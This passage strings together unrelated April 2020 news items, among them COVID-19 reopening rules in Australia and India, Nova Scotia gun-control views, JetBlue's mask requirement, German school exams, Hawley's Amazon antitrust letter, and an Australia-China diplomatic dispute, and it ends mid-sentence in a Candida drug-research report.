five people at home and ten outside are allowed * The state government is encouraging shops to re-open with social distancing in place * All students went back to school full-time on May 25. * Most businesses will be allowed to reopen on June 1, with social distancing rules and customer limits. * Zoos, reptile parks and aquariums open June 1. * Weddings can have ten guests, funerals 20 inside and 30 outside, and churches ten. * Gyms, sporting venues, health clubs, wellness centres and indoor pools are all prohibited. * Entertainment and amusement venues remain closed. SOUTH AUSTRALIA * Cafes and restaurants re-opened from May 11 and can seat ten people inside and another ten outside at a time. Pubs are shut until June 5. * Hairdressers and barbers can open as long as the number of people inside does not exceed one person per four square metres. * Ten people can gather at home or in public. * Weddings can have up to ten guests and funerals have a 20 guest limit inside, and 30 outside. * House auctions and inspections and non-contact sport has resumed and libraries, pools, churches and community halls reopened. * Schools have re-opened for term 2. * Border is still quarantined indefinitely. ACT * Gatherings of ten people are allowed. * Students in preschool, kindergarten, and years 1, 2, 3, 4, 7, 10, 11 and 12 have returned to school. * From June 2, students in years 5, 6, 8, and 9 will be allowed to return. * Weddings can have up to ten guests and funerals have a 20 guest limit inside, and 30 outside * Gyms will remain closed but up to ten people can take part in non-contact personal fitness training. * Hairdressers and barbers can open but other beauty therapy business will open on May 30. * Restaurants, cafes and other hospitality venues can open and host up to ten patrons at a time. * Some public libraries have re-opened but people can not sit or study inside. * Cinemas and other entertainment venues will remain closed. * Galleries, museums, outdoor attractions will re-open on May 30 to groups of up to 20 people per designated session. The biggest difference between this vote and the clashes of the 1980s between Washington and Burke was that the mayor and her Center-Liberal Bloc won the vote and the emergency powers were granted. Still, an argument by Ald. Byron Sigcho-Lopez, 25th, who opposed the emergency powers, is important. He said during the debate: We cannot go back to the time (when) we had one mayor overseeing everything and a rubber stamp city council. Coronavirus: Tunisia launches site for struggling foreigners Assistance to students, migrants, and asylum seekers (ANSAmed) - TUNIS, APRIL 28 - The Tunisian ministry for human rights, relations with constitutional bodies and civil society announced it has launched an online platform at www.aide-covid19.tn to help students who are blocked in Tunisia due to the coronavirus emergency and are in economic difficulty. In a press release, the ministry expressly mentioned the categories of students, migrants, and asylum seekers. "This electronic platform will allow for receiving requests for assistance, formulated by the interested parties or organisations that represent them; and to receive offers of donations and aid in kind and in cash, which could be provided by individuals or legal entities," the statement said. The website also aims to help in the fight against the coronavirus epidemic and to maintain connections with volunteer initiatives launched by civil society. In this context, the ministry highlighted the creation of a committee made up of representatives from the ministries of social affairs and higher education, as well as national and international organisations and civil society, to monitor the situation of some foreigners living in Tunisia.(ANSAmed). Farouk Aliu Mahama, son of late former vice president Alhaji Aliu Mahama has donated some consumables to the National Chief Imam, Sheikh Osman Nuhu Sharubutu. On Monday, Farouk Aliu Mahama paid a courtesy call on the revered Islamic cleric after which he donated consumables including 50 bags of sugar, 50 cartons of bottled water, 10 cartons of Milo and milk each and 50 bags of sachet water. Farouk in his remarks noted that in marking his 39th birthday, he decided to give back to society by way of providing for the poor and needy especially during this period of Ramadan. Thus, by presenting the items to the Chief Imam, the poor and needy ones in the community will benefit from the gesture. Farouk used the opportunity to seek the blessings of the Chief Imam as he readies himself to contest for the Yendi parliamentary primary. He indicated that the decision to contest for the seat is borne out of his desire to serve the good people Yendi and the nation at large. He recounted how his constituency faced challenges with lack of adequate refrigerators for their morgue. He personally procured a 12-body refrigerator and presented it to the overlord of Dagbon, Yaa Naa Abukari Mahama II who in turn handed it to the management of the hospital. Chief Imam's Blessings The Chief Imam on receiving the items expressed his gratitude to Farouk especially for remembering the poor during the holy month of Ramadan. Laying his hands on him, the Chief Imam offered prayers for him for success in his political career and also prayed for the soul of his late father. ---Daily Guide Sarahbeth Maney/Special to the Chronicle Musician Michael Franti has made a career of keeping spirits high when times are low. The Oakland native fronts the funk, soul and reggae band Spearhead, which makes frequent appearances at Bay Area festivals like BottleRock and Hardly Strictly Bluegrass. Hes also played a critical role in supporting the victims of the wine country fires and performing for troops and residents in wartorn regions like Iraq, Israel and the Palestinian territories. The San Francisco resident is currently at a hotel in Bali, where he was staying before shelter in place order took effect. Chronicle Pop Music Critic Aidin Vaziri sat down with Franti to discuss his forthcoming album, Work Hard and Be Nice, and how hes coping with the current coronavirus crisis. Franti also did a special live performance of "I'm On Your Side," off his upcoming album. Welcome to Morningstar.co.uk! You have been redirected here from Hemscott.com as we are merging our websites to provide you with a one-stop shop for all your investment research needs.To search for a security, type the name or ticker in the search box at the top of the page and select from the dropdown results.Registered Hemscott users can log in to Morningstar using the same login details. Similarly, if you are a Hemscott Premium user, you now have a Morningstar Premium account which you can access using the same login details. In the wake of Canadas worst mass shooting, residents in the communities around Portapique, N.S., have their doubts about the calls for stricter gun control measures. Even those who may have had a narrow miss with the gunman. In rural Nova Scotia, you find me a house that doesnt have a gun, said David Matthews. The weekend of the shooting, Matthews said he and his wife decided to take a different walking route in Wentworth, N.S. On their walk, they heard what could have been a gunshot, or perhaps a car backfiring. They later learned that their friend, Lillian Hyslop, had been shot and killed on a nearby road. If I had gone down the road, he probably would have shot us, Matthews said at the time. Matthews, like most people the Star spoke with, said he was in favour of banning assault-style weapons, but believes that by and large, Canadas gun laws are effective enough. Many residents are wary of further measures that might tighten restrictions on guns they already own. With the younger folks, its not as common. But those of us who are older, we all grew up hunting, Matthews said. Im proud of our gun laws. If youre out for a drive and you get stopped by a cop and you have a gun in the car, you know youre in trouble. Im not saying that we couldnt do something, but there is a place in our society for responsible firearms owners. The RCMP have yet to tell the public what firearms the shooter, Gabriel Wortman, used in the weekend shootings, which claimed the lives of 22 people. The most they will say on that subject is that he was in possession of several firearms that included pistols and long barrel weapons. Police also said that they had traced the source of one weapon in Canada. The rest, they said, had come from the U.S. On the Monday following the Portapique massacre, groups representing doctors and victims of gun violence wrote a letter to federal Public Safety Minister Bill Blair asking Ottawa to immediately ban military-style assault weapons. You have the power (to) take an evidence-based measure right now that will save lives, read the letter. Sadly, we cannot reverse past tragedies, nor prevent all future tragedies, but we can do much more to reduce the risk. As has been well documented, these guns pose an excessive risk to public safety and serve no reasonable purpose. Clair Peers, who owns an antique store in nearby Great Village, also supports a ban on assault-style weapons, but said Monday that he draws the line at restricting the recreational firearms that are more common in rural areas. It used to be you walked into every house and the gun rack was on the wall, right? It was in my home. I was brought up on a farm. And it was just a standard thing. You know, there was a rifle, a shotgun and a .22. I dont see where its necessary to take it to another level and go back and start trying to eliminate all firearms. Theres sport hunting and people that go for target and whatever. Its like a lot of people say its not the firearm thats the problem. Its the people whose hands they are in, he said. The guns are out there. These guys can get the guns if they want them. On the Monday following the shootings, Prime Minister Justin Trudeau announced his government would be pushing for stricter gun control laws. I can say that we were on the verge of introducing legislation to ban assault-style weapons across this country, said Trudeau during last Mondays coronavirus briefing. It was interrupted when the pandemic caused Parliament to be suspended, but we have every intention of moving forward on that measure, and potentially other measures, when Parliament returns. What we have previously indicated is our intention to strengthen gun control legislation, Public Safety Minister Bill Blair told reporters last Monday. We intend to bring forward both regulation and legislation that will enable us to prohibit military-style assault weapons. Blair said any legislation will be evidence-based and that the RCMP need time to investigate Saturdays shooting. But Donna Dominix, who lives close by the scene of the initial Portapique shootings, said the community has other things on its mind right now. I dont know if this is the time right now to even be talking about that stuff, she said. I think the focus should be on the losses of the families. I really havent talked to anybody about the gun factor around here. And really how much talking can we do because you cant really get out and around. Thats why I say this is something that should be brought up after we hopefully get rid of the virus. Correction - April 29, 2020: This article was edited from a previous version that mistakenly referred to Clair Peers as a she. In fact, Peers is a male. With files from Jeremy Nuttall and The Canadian Press SM Steve McKinley is a Halifax-based reporter for the Star. Reach him via email: stevemckinley@thestar.ca or follow him on Twitter: @smckinley1 Read more about: A CRPF jawan has been arrested in Karnataka for allegedly defying the COVID-19 lockdown norms. (Photo- ANI) Bengaluru: A CRPF jawan has been arrested in Karnataka for allegedly defying the COVID-19 lockdown norms with the paramilitary force taking strong exception to his 'ill treatment', following which an inquiry has been ordered by the state police. State DGP Praveen Sood has ordered inquiry into the incident, which has triggered a row after a video of it went viral. In the clip, some police constables are purportedly seen hitting CRPF soldier Sachin Sawant with sticks in Belagavi. According to the information shared on social media, Sawant was washing his bike when a police team reached the spot and started beating him up for not wearing a mask during the lockdown. Taking a serious view of the 'ill-treatment' meted out to its Cobra Commando, the CRPF has written a letter to the Karnataka police demanding an investigation into the matter. In a letter to the DGP of Karnataka, the additional Director general of police of CRPF Sanjay Arora said Sawant was cleaning his bike when a skirmish happened between him and the police over not wearing the mask. Arora wrote, "Sawant was manhandled and ill-treated, before his family members and paraded to the police station barefoot, where he was kept in chains and handcuff. From the scrutiny of a viral video on social media, it is apparent that the conduct of police personnel was not citizen centric." The CRPF ADGP also said the 'unpleasant' situation could have been avoided if the Karnataka police had taken CRPF hierarchy into confidence before making the arrest. In response, Sood ordered an inquiry into the matter. He tweeted that IGP Belagavi has been asked to conduct a probe into the incident involving CRPF constable. Action will be taken against guilty after receipt of report, he said. According to sources, Home Minister Basavaraj Bommai has directed the state police chief to conduct a detailed inquiry into the incident. Denouncing the arrest, Karnataka Irrigation Minister Ramesh Jarkiholi has sought the release of the CRPF jawan. "It was wrong on the part of the constables to ill treat CRPF jawan and an inquiry be conducted against the erring policemen," said jarkiholi in a press release. However, Superintendent of Police of Belagavi district, Laxman Nimbargi defended the arrest of Sawant. With states beginning to lift stay-at-home orders, Americans are getting back out into the world -- and even on airplanes again. But that doesnt mean its safe to move about the cabin. Thats why JetBlue Airways announced Monday evening that it will require passengers to wear face masks beginning May 4. JetBlue is the first U.S. carrier to decide fliers must wear face coverings on their flights, but they probably wont be the last. The deadly coronavirus hasnt been eliminated, after all. The pandemic, which has killed more than 50,000 Americans so far, may wax and wane in the months ahead, but its not going to disappear. Many U.S.-based airlines already require flight attendants to wear face masks on flights, as well as take other measures to protect passengers and themselves. Alaska Airlines, for example, is leaving all middle seats open on its large aircraft until at least the end of May. JetBlue says it will require passengers to wear masks not only on flights but also during the check-in process and boarding. Small children are exempt if they arent able to maintain a face covering. Wearing a face covering isnt about protecting yourself its about protecting those around you, JetBlue CEO Joanna Geraghty said in a statement. This is the new flying etiquette. With demand for flying collapsing over the past month as the coronavirus blitzed across the U.S., carriers have been careful about making flying more onerous or inconvenient. But with concern coming from various corners about their response to the pandemic -- including the Association of Flight Attendants calling on the federal government to end all leisure travel until the virus is contained -- airlines are likely to further adjust and ramp up safety measures. -- Douglas Perry @douglasmperry Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories. There is growing public opposition in Germany to the governments policy of opening up schools despite the continued spread of the coronavirus pandemic. Following the press release issued by the government last Wednesday, tens of thousands of pupils, teachers and parents have spoken out against the proposals to open up schools and compel pupils to take exams planned long before the coronavirus struck. High school students in various federal states were expected to begin taking their exams on Monday. This is despite the legitimate concerns on the part of students that they may be infected and then transmit COVID-19 to their families under conditions where schools provide only minimal and entirely insufficient protection. There are no tests available to identify those affected by the virus, and students will not be given protective masks. The required safety distance of at least 1.5 metres between classroom tables is irregularly observedas demonstrated in private photos and videos available on social media. Disinfectants are not made being available nationwide, among other things, on the grounds that this helps protect children and adolescents from the health risks accompanying such disinfectants. It is up to the teachers, like the students, to provide their own masks. In Berlin, one high school student applied to postpone her exams due to the serious illness of members of her family. An administrative judge rejected the students request, referring to the guidelines set down by the Berlin Senator for Education Sandra Scheeres (Social Democratic Party, SPD). High school students belonging to groups of those alleged to be at particular risk, or related to those affected by the virus, are still expected to take their exams in separate rooms. The high school student, Lisa, from North Rhine-Westphalia, published on Twitter an open letter to the minister of education, in which she calls for a halt to the hasty renewal of school operations. To the WSWS, she reaffirmed her request for the alternative of giving an average level high school diploma or average degree to all. She denounced those politically responsible, saying: We are not guinea pigs to be tested for the consequences of loosening up restrictions! When asked about the hygienic situation at her high school prior to the pandemic, Lisa reported that the situation was horrific. The school toilets were in a very poor hygienic condition: there was no soap, no towels, clogged toilets and overfilled rubbish bins in the toilets, she said. The school management had tried to improve the situation with measures such as toilet supervision, but without success. Not all of the toilets were cleaned regularly by cleaning staff. Warm water remains a dream. There is no such thing in schools, Lisa said. She could not report on the current protective measures at her school. Her teacher offered to hold a digital discussion because she belongs to a risk group. On Monday, I will have to see whether I dare take part in classes or try instead to prepare for my exams at home, Lisa said. My mother is very upset because she and one of my three siblings belong to those at risk. She thinks that any idea the schools will comply with hygienic standards is utopian. Her classmates have varying views about the demand to obtain a so-called average high school diplomai.e., adopting the previous average school grade of the student during his or her studies. Some approved, while others considered the exams to be necessary. However, they all agreed that exams should not be held under these circumstances. All of the pupils had worries and fears, but given the fact that exams have not been cancelled, many are forced to attend classes, otherwise they will fail to fulfil the requirements for their diploma. Like many other pupils and high school students, Lisa emphasised not only the health aspects involved, but also the lack of equal opportunity in the exams compared with previous years. No account is taken of the huge pressure under which the high school students have to take the exams. She said, It is morally and ethically unacceptable to give students sole responsibility for attending school and the attendant risks of being infected with a deadly virus through contact with people on the way to and from school, and then transmitting this virus to those at home! From this point of view, Lisa also noted the situation in the health care system. In the event of a second wave, our health care system would be overloaded, which would involve thousands more casualties. This is the standpoint of the Robert Koch Institute and prominent virologists such as Dr. [Christian] Drosten. When asked whether she saw a connection between the school openings and the campaign for a return to work, Lisa replied: From the beginning of the coronavirus crisis, I have only seen economic interests at work. Open the schools so everyone can go back to work and have no reason to stay home. I think its very obvious. This is extremely irresponsible and will very likely cost many lives. Its really sad to see the value politicians place on the population when it comes to big business interestsi.e., none at all. A few months ago, I thought that Germany had struck a reasonable balance with its form of capitalism, but the type of politics today has proven the opposite. Lisa is not alone in this respect. Young people and workers face fundamental political issues in their demands for the protection of their lives and health. Their demands inevitably lead to conflict with the political establishment and the entire profit-oriented social system. The Karnataka government issued a notification which permitted the reopening of shops in green zone districts registered under Shops and Establishments Act, including those in residential areas and market complexes, except those in multi-brand and single brand malls with 50% strength of workers wearing masks and practising social distancing. The order was issued by chief secretary, TM Vijay Bhaskar, who is also the chairman, state executive committee, Karnataka State Disaster Management Authority. The order also permitted industries to operate in rural areas outside the limits of municipal corporations. The order also allowed the reopening of manufacturing and other industrial establishments in industrial estates and townships apart from SEZs. The move to grant permission to all shops, including those selling non-essential items, comes close on the heels of the Union home ministry allowing the conditional operation of stand-alone retail outlets. The central order allowed the operation of neighbourhood and stand-alone shops, including those located in residential complexes, but did not include shopping malls, liquor and cigarette shops and sale of non-essential items through e-commerce platforms. The Centre, however, allowed markets in rural areas. Karnatakas order is applicable to Chamrajnagar, Koppal, Chikmagaluru, Raichur, Chitradurga, Ramanagara, Hassan, Shivamogga, Haveri, Yadgir, Kolar, Davangere, Udupi and Kodagu. However, the Karnataka government made it clear that the lockdown will continue to be strictly enforced in Bengaluru Urban, Belgavi, Mysuru, Vijaypurua, Bagalkot, Kalburgi, Bidar and Dakshina Kannada districts, which are in red zones accounting for bulk of the 523 Covid-19 positive cases in the state. In the other districts of Bellary, Mandya, Bengaluru Rural, Gadag, Tumkuru, Chikkaballapur, Uttar Kannada, and Dharwad which are orange zones, the decision regarding the opening of shops and industries in taluks where there are no active Covid-19 cases will be taken by the district-in-charge minister in question. Even in the green zones (with no cases) where they are allowed to operate, establishments must make arrangements for workers to stay on the premises or ensure transportation to the place of work in dedicated transport and ensure social distancing while travelling. According to a government assessment in mid-April, 170 districts in 20 states and five Union Territories (UTs) were identified as red zones (which are home to clusters of cases). Additionally, there were 207 orange zones (with fewer cases than that in red zones) in the country, and the rest of Indias 730-odd districts were classified as green zones. Another rule change involves eliminating civilian license exceptions for Chinese importers and Chinese nationals, as well as other countries, including Ukraine and Russia. The United States said on Monday it will impose new restrictions on exports to China to keep semiconductor production equipment and other technology away from Beijing's military. The new rules will require licenses for U.S. companies to sell certain items to companies in China that support the military, even if the products are for civilian use, Reuters said. They also do away with a civilian exception that allows certain U.S. technology to be exported without a license. They come as relations between the United States and China have deteriorated amid the new coronavirus outbreak. The rules, which were posted for public inspection and will be published in the Federal Register on Tuesday, could hurt the semiconductor industry and sales of civil aviation parts and components to China. The changes, which also expand the universe of items requiring licenses, affect Russia and Venezuela, too, but the biggest impact will be on trade with China. "Obviously this is intended to give the U.S. government more visibility into the types of goods U.S. exporters send to these countries and their customers," said Washington trade lawyer Doug Jacobson. Another rule change involves eliminating civilian license exceptions for Chinese importers and Chinese nationals, as well as other countries, including Ukraine and Russia. The exceptions have applied to certain integrated circuits, telecommunications equipment, radar, high-end computers and other items. The administration also posted a third proposed rule change that would force foreign companies shipping certain American goods to China to seek approval not only from their own governments but from the United States as well. The Commerce Department does not know the economic impact of imposing the re-export license, and will allow a comment period to gather information on the proposed change, a representative said. Sen. Josh Hawley, R-Mo., talks with reporters after the Senate Republican Policy luncheon in Russell Building on Tuesday, March 17, 2020. Sen. Josh Hawley, R-Mo., is asking the Department of Justice to open a criminal investigation into Amazon, citing reports that he says suggest the company has used "predatory and exclusionary data practices to build and maintain a monopoly." Hawley's request follows Friday's Wall Street Journal report that said Amazon employees had used data from third-party sellers to rival them with private label products under Amazon's own brands. Amazon has previously testified to the House Antitrust Subcommittee that it only uses aggregated data from multiple third-party sellers to inform its product strategy, and did not look at sales data for individual products. But the Journal, after reviewing documents and interviewing more than 20 former employees, found that individual seller data could be easily deduced for some categories, making the distinction irrelevant in practice. Amazon said that such practices would break its policies and that it does not believe the Journal's findings are accurate. It has launched an internal investigation nonetheless. In his letter to Attorney General William Barr dated Tuesday, Hawley said the Journal's reporting appears to meet the definition of a punishable crime under antitrust law. "Amazon abuses its position as an online platform and collects detailed data about merchandise so Amazon can create copycat products under an Amazon brand," he wrote. Hawley is asking the Justice Department to investigate Amazon on the basis of Section 2 of the Sherman Antitrust Act. The statute, which was used to prosecute Microsoft in a landmark antitrust case at the turn of the century, prohibits unlawful monopolies, which are firms that rise to dominance or maintain it by suppressing competition. The European Commission has already opened an investigation into the ways Amazon uses data from its sellers. Hawley said the data Amazon collects is much more valuable than that of a traditional retail store because it can include more detailed information about how customers are looking at products. Even if Amazon is using aggregate data, he said, it could still be used to further its alleged monopoly power. "Using aggregate data just means that, when Amazon uses data to create copycat products, it harms multiple small businesses instead of just one," Hawley wrote. Amazon's practices are especially concerning in light of the ongoing pandemic, according to Hawley, who has experience investigating another tech giant. Hawley opened an antitrust probe into Google while attorney general of Missouri. "Thousands of small businesses have been forced to suspend in-store retail and instead rely on Amazon because of shutdowns related to the coronavirus pandemic," he wrote. "Amazon's reported data practices are an existential threat that may prevent these businesses from ever recovering." A spokesperson told CNBC on Tuesday Amazon "strictly prohibit[s] employees from using non-public, seller-specific data to determine which private label products to launch." A DOJ spokesperson said the agency has received the letter and is reviewing it. Hawley is the latest member of Congress to go after Amazon following the Journal's reporting. On Friday, Rep. David Cicilline, D-R.I., chairman of the House Antitrust Subcommittee and Jerrold Nadler, D-N.Y., chairman of the House Judiciary Committee, expressed concern over Amazon's allegedly misleading testimony about how it uses seller data. Cicilline, who is leading an investigation into Amazon and other tech giants, went as far as to say its representative "may have lied to Congress." An Amazon spokesperson previously told CNBC in a statement, "It's simply incorrect to suggest that Amazon was intentionally misleading in our testimony." WATCH: How coronavirus is impacting Amazon deliveries A video of BJP MLA from Uttar Pradeshs Deoria district, in which he is seen telling people not to buy vegetables from Muslim vendors, has been circulated widely online A video of BJP MLA from Uttar Pradeshs Deoria district, in which he is seen allegedly telling people not to buy vegetables from Muslim vendors, has been circulated widely online. Suresh Tiwari, who is the MLA from Deorias Barhaj constituency, was allegedly heard telling people, Keep one thing in mind, I am telling everyone openly, no one should purchase vegetables from miyas (Muslims). BJP MLA Suresh Tiwari told people in Deoria district not to purchase vegetables from Muslim vendors. "Keep one thing in mind, I am telling everyone openly, no one should purchase vegetables from Miyas [Muslims]," he is seen telling people, including govt officials. pic.twitter.com/1K8YkSFBez Mohammed Zubair (@zoo_bear) April 28, 2020 Tiwari reportedly made this statement during his visit last week to the Barhaj Nagar Palika. After hearing the complaints that people of a community were selling vegetables after contaminating them with saliva in an attempt to spread coronavirus, I advised them to not purchase from them if they have any doubts in their minds. After the situation gets normal then decide what they want, he told Indian Express. He additionally blamed the Tablighi Jamaat members, whose congregation in Delhi last month made Nizamuddin a hotspot of COVID-19 cases. Uttar Pradesh BJP spokesperson Rakesh Tripathi said that the party would take cognisance of the matter and question Tiwari about the circumstances in which he made the remarks. In another incident targeting a Muslim, a resident of Mumbais Mira Road refused to collect a grocery delivery from a delivery man because of his religion. A pregnant Muslim woman was turned away at a public hospital in Rajasthan, resulting in a miscarriage. Meanwhile, in Uttarakhand, Hindu youths forced Muslim vendors to stop selling fruits. Uttar Pradesh has so far reported 1,955 cases of the coronavirus, including 31 deaths. , . - ... [April 28, 2020] Veterans United Home Loans Launches National Campaign to Send Messages to Guardsmen and Heroes Serving on Frontlines of COVID-19 The nation's largest VA lender, Veterans United Home Loans, is launching #HereForOurHeroes, a campaign to write messages of support to National Guardsmen, first responders, healthcare workers and other military personnel who are serving on the frontlines of the COVID-19 pandemic response. Messages of support can be submitted online and will be printed on postcards and sent with Operation Gratitude care packages. "Since 1636, Guardsman have stood at the ready assisting citizens across the United States," said retired Chief Master Sgt. Denise Jelinski-Hall, 3rd Senior Enlisted Advisor National Guard Bureau. "Today, they stand again on thefrontlines in the fight against the COVID-19 pandemic. Receiving a letter of gratitude shows Guardsmen how much they're valued and appreciated." In addition to the online message writing campaign, Veterans United pledged $250,000 in financial support to Operation Gratitude for care packages shipments to 50,000 military COVID-19 frontline responders. Shipments have already been distributed to 14,450 National Guard personnel deployed in California, New York, Louisiana, Michigan, Tennessee, Delaware and Florida. "Community support can be a huge morale booster during emergency responses," said John Quin, director of communications at Veterans United Home Loans who has served on several state emergency missions with the National Guard. "We hope this can enhance the lives of service members and first responders. The sacrifices they are making across the country are key to getting us through this pandemic." The national campaign uses the #HereForOurHeroes. Visit veteransunited.com/operation-gratitude/ for additional information. About Veterans United Home Loans Based in Columbia, Missouri, the full-service national lender financed more than $16.4 billion in loans in 2019 and is the country's largest VA lender. The company's mission is to help Veterans and service members take advantage of the home loan benefits earned by their service. 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View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005616/en/ [ Back To TMCnet.com's Homepage ] Madhya Pradesh health minister Narottam Mishra on Tuesday blamed the attendees of a congregation at Tablighi Jamaats headquarters in Delhi that later emerged a Covid-19 hotspot for the growing cases of the disease in the state. Jamaat people mingled with people so deep that when our teams went to localities to identify people suffering from Covid-19, they were attacked with stones. People beat our doctors and spat on them intentionally. This resulted in a delay [in identifying and treating Covid patients] and the virus spread to other areas too, said Mishra. Madhya Pradesh has drawn flak for its handling of the pandemic and is among the states, where the Centre has deputed interministerial teams to probe perceived lapses in efforts to control the disease. Mishra blamed the attendees on a day when the number of Covid-19 cases in the state rose to 2,387 while the virus spread to 31 of the Madhya Pradeshs 52 districts. Chief minister Shivraj Singh Chouhan has also blamed Tablighi Jamaat for spreading of the virus in the state. Public health expert Amulya Nidhi said the government has blamed the group to divert attention from its failures. Let there be a review of the situation by an independent expert or experts. If the teams finding is same as that of the government, then the government can say with authority that any particular group is responsible. Another public health expert, SR Azad, said the problem with the governments approach from day one has been that it did not look beyond certain localities and groups to check the spread of the disease. Hence, the measures expected to be undertaken were not taken like increase in number of labs, more testing, more surveys and screening... Azad said the first four Covid-19 cases were reported from Jabalpur and they were not Jamaat members. They had a travel history. In Bhopal, more than 100 officials and personnel of health department were infected. It was not because of any Jamaat member. The Chinese Embassy in Australia is seen from a hot air balloon in the capital city of Canberra on March 9, 2013. (AAP Image/Lukas Coch) Australias Foreign Ministry Calls Out Chinese Embassy for Breaching Protocol The Department of Foreign Affairs and Trade (DFAT) said the Chinese Embassy in Canberra broke protocol by publicly revealing purported details of official diplomatic exchanges between Ambassador Cheng Jingye and DFAT Secretary Frances Adamson on April 28. This latest episode by the Chinese regime follows Australia cautioning China against attempts at economic coercion as Australia rallies international support for an independent investigation into the Chinese Communist Partys (CCP) and the World Health Organisations (WHO) handling of the CCP virus pandemic. In response to the embassys statement, DFAT released a statement of its own but did not confirm any details: The department will not respond by itself breaching the long standing diplomatic courtesies and professional practices to which it will continue to adhere. How foreign missions engage the Australian media are matters for those missions. For its part, the department will continue to pursue Australias interests with all foreign missions according to the highest standards of professionalism, courtesy and respect for our counterparts. The release by the embassy is an escalation of events that began on April 26 when Cheng said in an interview with Australian Financial Review that if Australia continues to probe into the origins of the CCP (Chinese Communist Party) virus, commonly known as novel coronavirus, the Chinese public may avoid Australian products and universities. Read More Australian PM Wants UN-Inspired WHO Inspectors It is not clear what kind of exchange occurred, but earlier in the day on April 28, Senator Simon Birmingham confirmed on ABC Radio AM to host Sabra Lane that the government had discussions with the ambassador following his comments to the press. After Lane asked about the Ambassadors response, and whether he was called into Parliament House to have the discussion or if it was by telephone call, Birmingham offered only: [Jingye] had a discussion with the Secretary of the Department of Foreign Affairs and Trade. After Lane pressed for the ambassadors response, Birmingham said, Look thats for the ambassador to choose to make public But our government is very clear that weve seen enormous loss of life around the worldhundreds of thousands of peoplehuge economic disruption to billions of lives across the planet. And of course, that warrants transparent investigation to make sure it doesnt happen again. A growing number of ministers and senators have voiced their support for the international investigation. Marysville, CA (95901) Today Partly cloudy skies early will give way to cloudy skies late. Low around 40F. Winds light and variable.. Tonight Partly cloudy skies early will give way to cloudy skies late. Low around 40F. Winds light and variable. Online subscription retailer Fabletics announces their first-ever, limited-edition mother-daughter capsule collection. 100% of net profits from the childrens clothing line will provide meals to kids who have been impacted by coronavirus. The brand has pledged a minimum donation of $25,000 to Blessings in a Backpacks COVID-19 program from April 27 to May 31. Just in time for Mother's Day: Online subscription retailer Fabletics announces their first-ever, limited-edition mother-daughter capsule collection Fitness for good: 100% of net profits from the childrens clothing line will provide meals to kids who have been impacted by coronavirus Giving: The brand has pledged a minimum donation of $25,000 to Blessings in a Backpacks COVID-19 program from April 27 to May 31 The mommy and me collection was envisioned by the brands Chief Performance Officer, Ginger Ressler, and inspired by her daughter Gia. 'Since the beginning, I wanted to design a coordinated collection for Fabletics,' said Ginger. Moms and their minis can stay comfy while matching in quarantine together and look cute on the streets when social distancing laws are lifted. 'I love how much joy this collection sparks, which is more important now than ever,' shared Ginger. Available for adults, toddlers and children ( sizes 2T-XL and womens sizes XXS-4X) this colorful three-outfit limited-edition capsule screams fun for all. Inclusive: Offered in childrens sizes 2T-XL and womens sizes XXS-4X, the limited-edition collection is available now on fabletics.com Benefitting: Blessings in a Backpack is a nonprofit organization that provides food to elementary school children across America who might otherwise go hungry on weekends 100% of net profits from the childrens clothing line will provide meals to kids who have been impacted by coronavirus. Blessings in a Backpack is a nonprofit organization that provides food to elementary school children across America who might otherwise go hungry on weekends. Blessings in a Backpacks COVID-19 fund helps children who rely on school lunches to safely access food during school closures. Idea: The mommy and me collection was envisioned by the brands Chief Performance Officer, Ginger Ressler, and inspired by her daughter Gia Upbeat: Available for adults, toddlers and children, this colorful three-outfit capsule screams fun Source: Xinhua| 2020-04-28 10:36:28|Editor: huaxia Video Player Close CANBERRA, April 28 (Xinhua) -- The Australian government has announced a support package for the nation's zoos to help them feed and care for their animals during COVID-19 closures. Simon Birmingham, the Minister for Trade, Tourism and Investment, on Tuesday announced the 94.6 million Australian dollars (61 million U.S. dollars) lifeline for zoos, wildlife parks and aquariums, which have had their revenue streams crippled by social distancing restrictions that have forced them to close. More than 100 facilities across Australia will be eligible to apply for a share of the funding, which will help pay for costs such as food, power, water and veterinary bills. Birmingham said the survival of the sector would be critical to help the broader tourism industry recover from the pandemic. "We know our world-class zoos and aquariums are major tourism drawcards for many of our major cities and regional centres across Australia, with over 20 million visitors walking through the gates each year," he said in a media release on Tuesday. "We also shouldn't underestimate the huge positive flow-on effects our zoos and aquariums provide to our economy. They bring thousands of visitors into communities who then spend millions of dollars visiting other attractions, sleeping in our hotels and dining in our restaurants." According to the Australian Broadcasting Corporation, a chimpanzee enclosure like that at Sydney's Taronga Zoo can cost more than 500,000 Australian dollars (322.652 U.S. dollars) per year to maintain. Environment Minister Sussan Ley said that the funding would also allow zoos and aquariums to continue caring for thousands of animals that were either injured or displaced in the summer's devastating bushfires. "While COVID-19 may be keeping visitors away, zookeepers, aquarium owners and veterinarians continue to play a lead role in wildlife recovery after the bushfires, from treatment and rehabilitation to the development of insurance populations," she said in media release. "At the same time, they are caring for millions of animals who live permanently within their network and this is critical funding to support the welfare of those animals along with the vital ongoing role zoos play in conserving our environment and protecting native species." Enditem She reportedly lives with her husband in a non-declared flat downtown Kyiv. Ukraine's High Anti-Corruption Court (HACC) has obliged the National Anti-orruption Bureau of Ukraine (NABU) to open a case to probe into new Prosecutor General of Ukraine Iryna Venediktova's possible failure to declare her assets. A copy of the court ruling was posted by activist Serhiy Sternenko on Facebook on April 28. Read alsoVenediktova's appointment as Chief Prosecutor to affect Ukraine's future experts "A claim filed by Serhiy Sternenko against an NABU official who did not register a criminal offense with the Registry of Pretrial Investigations should be satisfied," the document says. "The NABU official should be obliged to enter information from Serhiy Sternenko's report dated April 13, 2020, into the Registry." According to the activist, he filed a claim reporting Venediktova's possible non-declaration of property a EUR10,000 watch and membership with NGO Kharkiv Law Center with signs of profitable activity. As UNIAN reported, Prosecutor General Venediktova and her husband, the deputy chief of the Cyber Police Department of Ukraine's National Police, Denys Kolesnyk, live in an apartment in the center of Kyiv. Although they did not indicate the real estate in their mandatory annual declaration of income and assets. This was reported by journalists of the Skhemy (Schemes) project. The assets declarations for 2019 say that they both live near Kharkiv. With antimicrobial resistance (AMR) increasing around the world, new research led by the University of Bristol has shown a new drug formulation could possibly be used in antifungal treatments against Candida infections. Candida albicans, a well-known yeast usually seen in the mouth, skin, gut and vagina, is reported to form biofilms and cause mild to life threatening infections. Fluconazole, an antifungal drug widely used to treat Candida infections is completely ineffective in treating Candida biofilms and new drugs are needed to treat them. However, unlike antibiotics, developing antifungal drugs is very challenging because yeast cells are structurally similar to human cells, as a result, there is a greater chance of unwanted side effects with new antifungal drugs. A better alternative would be to 